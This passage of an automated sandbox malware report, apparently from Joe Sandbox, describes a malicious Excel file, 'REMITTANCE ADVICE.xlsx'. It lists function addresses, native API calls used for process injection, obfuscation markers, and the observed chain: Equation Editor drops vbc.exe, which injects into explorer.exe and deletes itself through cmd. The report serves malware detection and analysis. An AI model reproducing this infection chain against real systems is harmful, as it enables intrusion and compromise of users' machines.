Source: C:\Users\Public\vbc.exe Code function: 5_2_007E63BF 5_2_007E63BF
Source: C:\Users\Public\vbc.exe Code function: 5_2_0077D47D 5_2_0077D47D
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C443E 5_2_007C443E
Source: C:\Users\Public\vbc.exe Code function: 5_2_00775485 5_2_00775485
Source: C:\Users\Public\vbc.exe Code function: 5_2_00751489 5_2_00751489
Source: C:\Users\Public\vbc.exe Code function: 5_2_00786540 5_2_00786540
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074351F 5_2_0074351F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075C5F0 5_2_0075C5F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C05E3 5_2_007C05E3
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078A634 5_2_0078A634
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E2622 5_2_007E2622
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074E6C1 5_2_0074E6C1
Source: C:\Users\Public\vbc.exe Code function: 5_2_00744680 5_2_00744680
Source: C:\Users\Public\vbc.exe Code function: 5_2_007757C3 5_2_007757C3
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074C7BC 5_2_0074C7BC
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C579A 5_2_007C579A
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076286D 5_2_0076286D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074C85C 5_2_0074C85C
Source: C:\Users\Public\vbc.exe Code function: 5_2_007DF8EE 5_2_007DF8EE
Source: C:\Users\Public\vbc.exe Code function: 5_2_007BF8C4 5_2_007BF8C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C5955 5_2_007C5955
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C394B 5_2_007C394B
Source: C:\Users\Public\vbc.exe Code function: 5_2_007569FE 5_2_007569FE
Source: C:\Users\Public\vbc.exe Code function: 5_2_007429B2 5_2_007429B2
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E098E 5_2_007E098E
Source: C:\Users\Public\vbc.exe Code function: 5_2_007F3A83 5_2_007F3A83
Source: C:\Users\Public\vbc.exe Code function: 5_2_00767B00 5_2_00767B00
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073FBD7 5_2_0073FBD7
Source: C:\Users\Public\vbc.exe Code function: 5_2_007CDBDA 5_2_007CDBDA
Source: C:\Users\Public\vbc.exe Code function: 5_2_007C6BCB 5_2_007C6BCB
Source: C:\Users\Public\vbc.exe Code function: 5_2_007ECBA4 5_2_007ECBA4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0074CD5B 5_2_0074CD5B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00770D3B 5_2_00770D3B
Source: C:\Users\Public\vbc.exe Code function: 5_2_007DFDDD 5_2_007DFDDD
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075EE4C 5_2_0075EE4C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00772E2F 5_2_00772E2F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076DF7C 5_2_0076DF7C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00750F3F 5_2_00750F3F
Source: C:\Users\Public\vbc.exe Code function: 5_2_007B2FDC 5_2_007B2FDC
Source: C:\Users\Public\vbc.exe Code function: 5_2_007DCFB1 5_2_007DCFB1
Source: C:\Users\Public\vbc.exe Code function: 5_1_00401030 5_1_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041D16A 5_1_0041D16A
Source: C:\Users\Public\vbc.exe Code function: 5_1_00401174 5_1_00401174
Source: C:\Users\Public\vbc.exe Code function: 5_1_004012FB 5_1_004012FB
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C5A7 5_1_0041C5A7
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C6C2 5_1_0041C6C2
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C957 5_1_0041C957
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BA0C 5_1_0041BA0C
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BC66 5_1_0041BC66
Source: C:\Users\Public\vbc.exe Code function: 5_1_00408C7B 5_1_00408C7B
Source: C:\Users\Public\vbc.exe Code function: 5_1_00408C80 5_1_00408C80
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402D90 5_1_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402FB0 5_1_00402FB0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027BE2E9 7_2_027BE2E9
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_02861238 7_2_02861238
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C7353 7_2_027C7353
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_028663BF 7_2_028663BF
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C2305 7_2_027C2305
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027E63DB 7_2_027E63DB
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027BF3CF 7_2_027BF3CF
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0280A37B 7_2_0280A37B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027D905A 7_2_027D905A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C3040 7_2_027C3040
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027ED005 7_2_027ED005
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027BE0C6 7_2_027BE0C6
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_02862622 7_2_02862622
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0280A634 7_2_0280A634
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027CE6C1 7_2_027CE6C1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C4680 7_2_027C4680
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0284579A 7_2_0284579A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027F57C3 7_2_027F57C3
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027CC7BC 7_2_027CC7BC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027FD47D 7_2_027FD47D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027D1489 7_2_027D1489
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027F5485 7_2_027F5485
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C351F 7_2_027C351F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027DC5F0 7_2_027DC5F0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_02806540 7_2_02806540
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_02873A83 7_2_02873A83
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0286CBA4 7_2_0286CBA4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0284DBDA 7_2_0284DBDA
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027E7B00 7_2_027E7B00
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027BFBD7 7_2_027BFBD7
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027E286D 7_2_027E286D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027CC85C 7_2_027CC85C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0285F8EE 7_2_0285F8EE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0286098E 7_2_0286098E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027D69FE 7_2_027D69FE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C29B2 7_2_027C29B2
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0284394B 7_2_0284394B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_02845955 7_2_02845955
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027DEE4C 7_2_027DEE4C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027F2E2F 7_2_027F2E2F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027EDF7C 7_2_027EDF7C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0285CFB1 7_2_0285CFB1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027D0F3F 7_2_027D0F3F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027CCD5B 7_2_027CCD5B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027F0D3B 7_2_027F0D3B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0285FDDD 7_2_0285FDDD
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009D16A 7_2_0009D16A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009C5A7 7_2_0009C5A7
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009C6C2 7_2_0009C6C2
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009C957 7_2_0009C957
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009BA0C 7_2_0009BA0C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009BC66 7_2_0009BC66
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00088C7B 7_2_00088C7B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00088C80 7_2_00088C80
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00082D90 7_2_00082D90
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00082FB0 7_2_00082FB0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 0280373B appears 244 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 02803F92 appears 132 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 027BDF5C appears 119 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 027BE2A8 appears 38 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 0282F970 appears 84 times
Source: C:\Users\Public\vbc.exe Code function: String function: 007AF970 appears 84 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0078373B appears 245 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0073E2A8 appears 41 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00783F92 appears 132 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0041A4C0 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0073DF5C appears 123 times
Contains functionality to call native functions
Source: C:\Users\Public\vbc.exe Code function: 5_2_004185E0 NtCreateFile, 5_2_004185E0
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418690 NtReadFile, 5_2_00418690
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418710 NtClose, 5_2_00418710
Source: C:\Users\Public\vbc.exe Code function: 5_2_004187C0 NtAllocateVirtualMemory, 5_2_004187C0
Source: C:\Users\Public\vbc.exe Code function: 5_2_004185DA NtCreateFile, 5_2_004185DA
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041868A NtReadFile, 5_2_0041868A
Source: C:\Users\Public\vbc.exe Code function: 5_2_00418714 NtClose, 5_2_00418714
Source: C:\Users\Public\vbc.exe Code function: 5_2_004187BA NtAllocateVirtualMemory, 5_2_004187BA
Source: C:\Users\Public\vbc.exe Code function: 5_2_00730078 NtResumeThread,LdrInitializeThunk, 5_2_00730078
Source: C:\Users\Public\vbc.exe Code function: 5_2_00730048 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_00730048
Source: C:\Users\Public\vbc.exe Code function: 5_2_007300C4 NtCreateFile,LdrInitializeThunk, 5_2_007300C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_007307AC NtCreateMutant,LdrInitializeThunk, 5_2_007307AC
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072F900 NtReadFile,LdrInitializeThunk, 5_2_0072F900
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072F9F0 NtClose,LdrInitializeThunk, 5_2_0072F9F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FAE8 NtQueryInformationProcess,LdrInitializeThunk, 5_2_0072FAE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_0072FAD0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FB68 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_0072FB68
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FBB8 NtQueryInformationToken,LdrInitializeThunk, 5_2_0072FBB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FC60 NtMapViewOfSection,LdrInitializeThunk, 5_2_0072FC60
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FC90 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_0072FC90
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FDC0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_0072FDC0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FD8C NtDelayExecution,LdrInitializeThunk, 5_2_0072FD8C
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_0072FED0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FEA0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_0072FEA0
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FFB4 NtCreateSection,LdrInitializeThunk, 5_2_0072FFB4
Source: C:\Users\Public\vbc.exe Code function: 5_2_00730060 NtQuerySection, 5_2_00730060
Source: C:\Users\Public\vbc.exe Code function: 5_2_007310D0 NtOpenProcessToken, 5_2_007310D0
Source: C:\Users\Public\vbc.exe Code function: 5_2_00731148 NtOpenThread, 5_2_00731148
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073010C NtOpenDirectoryObject, 5_2_0073010C
Source: C:\Users\Public\vbc.exe Code function: 5_2_007301D4 NtSetValueKey, 5_2_007301D4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072F8CC NtWaitForSingleObject, 5_2_0072F8CC
Source: C:\Users\Public\vbc.exe Code function: 5_2_00731930 NtSetContextThread, 5_2_00731930
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072F938 NtWriteFile, 5_2_0072F938
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FA50 NtEnumerateValueKey, 5_2_0072FA50
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FA20 NtQueryInformationFile, 5_2_0072FA20
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FAB8 NtQueryValueKey, 5_2_0072FAB8
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FB50 NtCreateKey, 5_2_0072FB50
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FBE8 NtQueryVirtualMemory, 5_2_0072FBE8
Source: C:\Users\Public\vbc.exe Code function: 5_2_00730C40 NtGetContextThread, 5_2_00730C40
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FC48 NtSetInformationFile, 5_2_0072FC48
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FC30 NtOpenProcess, 5_2_0072FC30
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FD5C NtEnumerateKey, 5_2_0072FD5C
Source: C:\Users\Public\vbc.exe Code function: 5_2_00731D80 NtSuspendThread, 5_2_00731D80
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FE24 NtWriteVirtualMemory, 5_2_0072FE24
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FF34 NtQueueApcThread, 5_2_0072FF34
Source: C:\Users\Public\vbc.exe Code function: 5_2_0072FFFC NtCreateProcessEx, 5_2_0072FFFC
Source: C:\Users\Public\vbc.exe Code function: 5_1_004185E0 NtCreateFile, 5_1_004185E0
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418690 NtReadFile, 5_1_00418690
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418710 NtClose, 5_1_00418710
Source: C:\Users\Public\vbc.exe Code function: 5_1_004187C0 NtAllocateVirtualMemory, 5_1_004187C0
Source: C:\Users\Public\vbc.exe Code function: 5_1_004185DA NtCreateFile, 5_1_004185DA
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041868A NtReadFile, 5_1_0041868A
Source: C:\Users\Public\vbc.exe Code function: 5_1_00418714 NtClose, 5_1_00418714
Source: C:\Users\Public\vbc.exe Code function: 5_1_004187BA NtAllocateVirtualMemory, 5_1_004187BA
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B00C4 NtCreateFile,LdrInitializeThunk, 7_2_027B00C4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B07AC NtCreateMutant,LdrInitializeThunk, 7_2_027B07AC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_027AFAE8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_027AFAD0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFAB8 NtQueryValueKey,LdrInitializeThunk, 7_2_027AFAB8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_027AFB68
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFB50 NtCreateKey,LdrInitializeThunk, 7_2_027AFB50
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_027AFBB8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AF900 NtReadFile,LdrInitializeThunk, 7_2_027AF900
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AF9F0 NtClose,LdrInitializeThunk, 7_2_027AF9F0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_027AFED0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFFB4 NtCreateSection,LdrInitializeThunk, 7_2_027AFFB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_027AFC60
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_027AFDC0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFD8C NtDelayExecution,LdrInitializeThunk, 7_2_027AFD8C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B0078 NtResumeThread, 7_2_027B0078
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B0060 NtQuerySection, 7_2_027B0060
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B0048 NtProtectVirtualMemory, 7_2_027B0048
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B10D0 NtOpenProcessToken, 7_2_027B10D0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B1148 NtOpenThread, 7_2_027B1148
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B010C NtOpenDirectoryObject, 7_2_027B010C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B01D4 NtSetValueKey, 7_2_027B01D4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFA50 NtEnumerateValueKey, 7_2_027AFA50
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFA20 NtQueryInformationFile, 7_2_027AFA20
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFBE8 NtQueryVirtualMemory, 7_2_027AFBE8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AF8CC NtWaitForSingleObject, 7_2_027AF8CC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AF938 NtWriteFile, 7_2_027AF938
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B1930 NtSetContextThread, 7_2_027B1930
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFE24 NtWriteVirtualMemory, 7_2_027AFE24
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFEA0 NtReadVirtualMemory, 7_2_027AFEA0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFF34 NtQueueApcThread, 7_2_027AFF34
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFFFC NtCreateProcessEx, 7_2_027AFFFC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFC48 NtSetInformationFile, 7_2_027AFC48
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B0C40 NtGetContextThread, 7_2_027B0C40
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFC30 NtOpenProcess, 7_2_027AFC30
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFC90 NtUnmapViewOfSection, 7_2_027AFC90
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027AFD5C NtEnumerateKey, 7_2_027AFD5C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027B1D80 NtSuspendThread, 7_2_027B1D80
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000985E0 NtCreateFile, 7_2_000985E0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00098690 NtReadFile, 7_2_00098690
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00098710 NtClose, 7_2_00098710
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000987C0 NtAllocateVirtualMemory, 7_2_000987C0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000985DA NtCreateFile, 7_2_000985DA
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009868A NtReadFile, 7_2_0009868A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_00098714 NtClose, 7_2_00098714
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_000987BA NtAllocateVirtualMemory, 7_2_000987BA
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\nsvE542.tmp\otav.dll B6A12BC611F92D3D793CE5C3C9CFF8A906CA96BD6B1D5C0DA8EBF9080FF4428A
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: REMITTANCE ADVICE.xlsx Virustotal: Detection: 35%
Source: REMITTANCE ADVICE.xlsx ReversingLabs: Detection: 43%
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\vbc.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$REMITTANCE ADVICE.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRDE1E.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@9/24@4/5
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402012 CoCreateInstance,MultiByteToWideChar, 4_2_00402012
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040411B GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 4_2_0040411B
Source: vbc.exe, 00000004.00000002.466454862.0000000002C60000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.470431447.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000005.00000002.526224259.00000000008A0000.00000040.00000001.sdmp, vbc.exe, 00000005.00000003.464564394.0000000000430000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.465728410.0000000000590000.00000004.00000001.sdmp, vbc.exe, 00000005.00000002.525516222.0000000000720000.00000040.00000001.sdmp, explorer.exe, explorer.exe, 00000007.00000002.670738213.0000000002920000.00000040.00000001.sdmp
Source: Binary string: explorer.pdb source: vbc.exe, 00000005.00000002.527175937.0000000002980000.00000040.00020000.sdmp, vbc.exe, 00000005.00000003.523078790.00000000023C0000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.523696493.00000000026A0000.00000004.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000FB15 push ecx; ret 4_2_1000FB28
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B822 push eax; ret 5_2_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B82B push eax; ret 5_2_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B88C push eax; ret 5_2_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B7D5 push eax; ret 5_2_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073DFA1 push ecx; ret 5_2_0073DFB4
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B7D5 push eax; ret 5_1_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B822 push eax; ret 5_1_0041B828
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B82B push eax; ret 5_1_0041B892
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B88C push eax; ret 5_1_0041B892
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027BDFA1 push ecx; ret 7_2_027BDFB4
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009B7D5 push eax; ret 7_2_0009B828
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009B82B push eax; ret 7_2_0009B892
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009B822 push eax; ret 7_2_0009B828
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_0009B88C push eax; ret 7_2_0009B892
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetModuleHandleA,LoadLibraryA,GetProcAddress, 4_2_00405C49

Persistence and Installation Behavior:

barindex
Drops PE files
